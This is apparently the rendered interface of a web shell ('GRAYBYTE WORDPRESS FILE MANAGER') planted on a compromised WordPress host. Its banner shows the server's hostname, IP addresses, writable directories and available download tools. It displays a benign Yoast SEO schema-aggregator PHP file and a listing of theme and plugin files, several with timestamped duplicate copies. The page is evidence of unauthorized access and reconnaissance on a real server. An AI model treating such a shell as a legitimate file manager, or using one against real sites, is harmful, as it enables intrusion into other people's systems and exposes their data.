✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.7
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/envhttps/application//schema-pieces-aggregator.php
<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Schema_Aggregator\Application;

use Yoast\WP\SEO\Schema_Aggregator\Domain\Schema_Piece_Collection;
use Yoast\WP\SEO\Schema_Aggregator\Infrastructure\Filtering_Strategy_Factory;

/**
 * This class is responsible for taking a Schema_Piece_Collection and return another filtered Schema_Piece_Collection.
 */
class Schema_Pieces_Aggregator {

	/**
	 * The filtering strategy factory.
	 *
	 * @var Filtering_Strategy_Factory
	 */
	private $filtering_strategy_factory;

	/**
	 * The properties merger.
	 *
	 * @var Properties_Merger
	 */
	private $properties_merger;

	/**
	 * Class constructor
	 *
	 * @param Filtering_Strategy_Factory $filtering_strategy_factory The filtering strategy factory.
	 *                                                               @param Properties_Merger          $properties_merger          The properties merger.
	 */
	public function __construct( Filtering_Strategy_Factory $filtering_strategy_factory, Properties_Merger $properties_merger ) {
		$this->filtering_strategy_factory = $filtering_strategy_factory;
		$this->properties_merger          = $properties_merger;
	}

	/**
	 * Main orchestrator method: deduplicates, merges and filter properties.
	 *
	 * @param Schema_Piece_Collection $schema_pieces The schema pieces to aggregate.
	 *
	 * @return Schema_Piece_Collection The aggregated schema pieces.
	 */
	public function aggregate( Schema_Piece_Collection $schema_pieces ): Schema_Piece_Collection {
		$aggregated_schema = [];

		$filtering_strategy     = $this->filtering_strategy_factory->create();
		$filtered_schema_pieces = $filtering_strategy->filter( $schema_pieces );

		foreach ( $filtered_schema_pieces->to_array() as $piece ) {

			$id = $piece->get_id();
			if ( \is_null( $id ) ) {
				continue;
			}

			if ( isset( $aggregated_schema[ $id ] ) ) {
				$aggregated_schema[ $id ] = $this->properties_merger->merge( $aggregated_schema[ $id ], $piece );
			}
			else {
				// Add new piece.
				$aggregated_schema[ $id ] = $piece;
			}
		}

		// Return only the values to get rid of the keys (which are @id) and wrap in a collection.
		return new Schema_Piece_Collection( \array_values( $aggregated_schema ) );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
20 Sep 2026 9.12 PM
docteuh / users
0755
07
--
10 Sep 2026 4.25 PM
docteuh / users
0755
application
--
13 Sep 2026 7.32 PM
docteuh / users
0755
cache
--
13 Sep 2026 11.22 PM
docteuh / users
0755
enhancement
--
12 Sep 2026 1.41 AM
docteuh / users
0755
meta
--
19 Sep 2026 3.06 AM
docteuh / users
0755
aggregate-site-schema-command-handler.php
2.158 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
aggregate-site-schema-command.php
0.917 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
aggregate-site-schema-map-command-handler.php
2.67 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
aggregate-site-schema-map-command.php
0.762 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
background.min-20260912232224.css
2.685 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
background.min.css
2.685 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
bbpress.min.css
16.249 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
block-editor.css
8.336 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
compatibility-20260913173225.php
2.142 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
compatibility.php
2.142 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
contactform7.css
4.555 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
fb.css
0.462 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
footer.php
2.259 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
functions.php
28.734 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
gravityforms.min-20260913212237.css
7.403 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
gravityforms.min.css
7.403 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103225-20260831111900-20260901204506-20260902231029-20260903070400-20260903070518.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260829102432-20260830004210-20260830004246-20260830005248-20260830084048-20260902205819.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ilightbox.css
47.553 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
ilightbox.min.css
41.193 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
max-782-adminbar.css
0.44 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
max-cbp.min.css
0.094 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
max-main.min.css
0.569 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
portfolio.min.css
1.53 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
properties-merger.php
5.118 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-aggregator-announcement-20260830141819.php
1.454 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-aggregator-response-composer.php
0.868 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
schema-pieces-aggregator.php
2.238 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
score-retriever.php
5.398 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
scrollbar.css
0.362 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
search.css
1.327 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
shortcodes.min-20260913194623.css
143.674 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
shortcodes.min.css
143.674 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
slidingbar.min.css
9.237 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
ssl-test-page-20260913120332.html
0.155 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
ssl-test-page.html
0.155 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
widgets.min.css
16.425 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
wpml-20260912090726.css
3.596 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
wpml-20260913212155.css
3.596 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
wpml.css
3.596 KB
20 Nov 2023 7.11 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF